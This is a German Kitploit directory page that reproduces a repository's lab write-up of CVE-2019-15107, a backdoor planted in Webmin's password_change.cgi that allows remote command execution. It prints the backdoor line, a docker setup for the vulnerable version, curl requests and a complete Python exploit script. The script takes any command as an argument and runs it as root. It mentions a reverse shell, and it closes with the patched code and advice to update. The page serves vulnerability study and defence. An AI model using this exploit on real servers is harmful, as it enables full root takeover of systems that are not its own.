Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-15107 | Kitploit
Tools/GitHubGitHub/jini135wii/cve-2019-15107
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubjini135wii/cve-2019-15107

CVE-2019-15107

Repository anzeigen
vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

RCE-Schwachstelle im Serververwaltungstool Webmin [CVE-2019-15107]

Zusammenfassung

[CVE-2019-15107] ist eine Schwachstelle in Webmin, einem webbasierten Systemverwaltungstool für Unix-Systeme. Im Code zum Ändern von Passwörtern dieses Verwaltungstools wird ein bestimmter Parameter ohne Filterung direkt an einen Shell-Befehl übergeben und ausgeführt, wodurch beliebiger Code ausgeführt werden kann (Remote Code Execution, RCE).

Umgebungseinrichtung und Schwachstellenbedingungen

Webmin 1.920 oder ältere Versionen: Die Schwachstelle wurde in password_change.cgi, der Datei zum Ändern von Passwörtern, entdeckt. Die Schwachstelle entstand dadurch, dass während der Verteilung von Webmin über SourceForge Schadcode eingeschleust wurde.

Für diese Reproduktion wird die in vulhub verwendete Webmin-Version 1.910 verwendet. Da die Passwortänderung nur bei passwd_mode=2 von Webmin aktiviert ist, richten wir die Umgebung mit passwd_mode=2 ein.

Zusammen mit der bereitgestellten Webmin-Release-Datei webmin_1.910_all.deb geben Sie den folgenden Befehl ein, um die verwundbare Umgebung einzurichten:

root@kitploit:~
docker compose up -d

Die Dateien Dockerfile und docker-entrypoint.sh wurden auf Grundlage der von vulhub vorbereiteten Vorlagen für die lokalen Dateien neu erstellt.

Für die Passwortänderung werden uns vertraute Parameter wie user, old, new1 und new2 benötigt. Unter ihnen wurde Code eingeschleust, der den Wert des Parameters old ausführt.

Im Folgenden ein Ausschnitt aus der Datei password_change.cgi der Version 1.910. qx/$in{'old'}/ ist der Code, der den oben genannten Wert von old ausführt. Durch Manipulation dieses Werts wird eine beliebige Codeausführung möglich.

root@kitploit:~
user@user:~/Documents/vulhub/webmin/CVE-2019-15107$ cat password_change.cgi | grep -C5 "\$in{'old'}"
		die "Missing password file configuration";
	}

if ($wuser) {
	# Update Webmin user's password
	$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
	$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
	$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
	$perr && &pass_error(&text('password_enewpass', $perr));
	$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
	$wuser->{'temppass'} = 0;
	&acl::modify_user($wuser->{'name'}, $wuser);

Reproduktionsablauf

Die Schwachstelle lässt sich reproduzieren, indem man auf password_change.cgi in Webmin zugreift und eine Anfrage mit manipulierter Variable old sendet.

PoC-Code

Egal ob mit curl oder Python – es genügt, eine Anfrage an password_change.cgi zu senden. Alle drei Beispiele zielen darauf ab, den Befehl id in old einzufügen und die uid auszugeben.

  1. curl(POST)
root@kitploit:~
curl -k -X POST https://your-ip:10000/password_change.cgi   -d "user=nonexistent&pam=&expired=2&old=**id**&new1=test&new2=test"   -H "Referer: https://your-ip:10000/session_login.cgi"    
  1. curl(GET)
root@kitploit:~
curl -k "https://your-ip:10000/password_change.cgi?user=rootxx&pam=&expired=2&old=id&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
  1. python
root@kitploit:~
import requests
import sys
import argparse

def exploit_webmin(target, command):
    url = f"https://{target}/password_change.cgi"
    
    # HTTPS 인증서 무시
    requests.packages.urllib3.disable_warnings()
    
    # CVE-2019-15107 payload
    # old 파라미터에 명령어 입력
    data = {
        'user': 'rootxx',
        'pam': '',
        'expired': '2',
        'old': command,  # 명령어
        'new1': 'test2',
        'new2': 'test2'
    }
    headers = {
            'Referer': f'https://{target}/session_login.cgi',
            }
    
    try:
        response = requests.post(
            url, 
            data=data, 
            headers=headers,
            verify=False,
            timeout=5
        )
        
        if response.status_code == 200:
            print("[+] Exploit sent!")
            print("[+] Response:")
            print(response.text)
            return True
        else:
            print(f"[-] Status code: {response.status_code}")
            return False
            
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='CVE-2019-15107 Webmin RCE PoC')
    parser.add_argument('-t', '--target', required=True, help='Target IP:port (e.g., 127.0.0.1:10000)')
    parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
    args = parser.parse_args()
    
    print(f"[*] Exploiting Webmin at {args.target}")
    print(f"[*] Command: {args.command}")
    
    exploit_webmin(args.target, args.command)

Es kann wie folgt ausgeführt werden:

root@kitploit:~
python3 PoC.py -t your-ip:10000 -c "id"

Ausführungsergebnis

Wenn man auf die oben beschriebene Weise den gewünschten Befehl in den Parameter old einfügt, wird der Befehl exakt so ausgeführt. Anhand des Ergebnisses ist zu erkennen, dass die uid jeweils 0 ist und der Befehl mit Root-Rechten ausgeführt wird.

Das bedeutet, dass diese Schwachstelle [CVE-2019-15107] eine RCE mit Root-Rechten ermöglicht.

Wenn zusätzlich eine Reverse Shell vorbereitet wird, kann man durch das Verbinden mit der Reverse Shell eine Shell auf dem Server erhalten.

Nach Abschluss der Reproduktion kann der Dienst mit dem folgenden Befehl beendet werden:

root@kitploit:~
docker compose down

Gegenmaßnahmen

Der einfachste Weg besteht darin, Webmin zu aktualisieren.

Dies ist der Code, der mit dem Update auf Version 1.930 geändert wurde. Die Stelle, die den Wert von old ausführte, wurde vollständig entfernt.

root@kitploit:~
if ($wuser) {
	# Update Webmin user's password
	$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
	$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
	$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
	$perr && &pass_error(&text('password_enewpass', $perr));
	$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
	$wuser->{'temppass'} = 0;
	&acl::modify_user($wuser->{'name'}, $wuser);
	&reload_miniserv();
	}

Falls der Codeausführungsteil weiterhin benötigt wird, kann das Problem auch durch das Einfügen einer Validierung für den Eingabewert old gelöst werden.

Tool herunterladen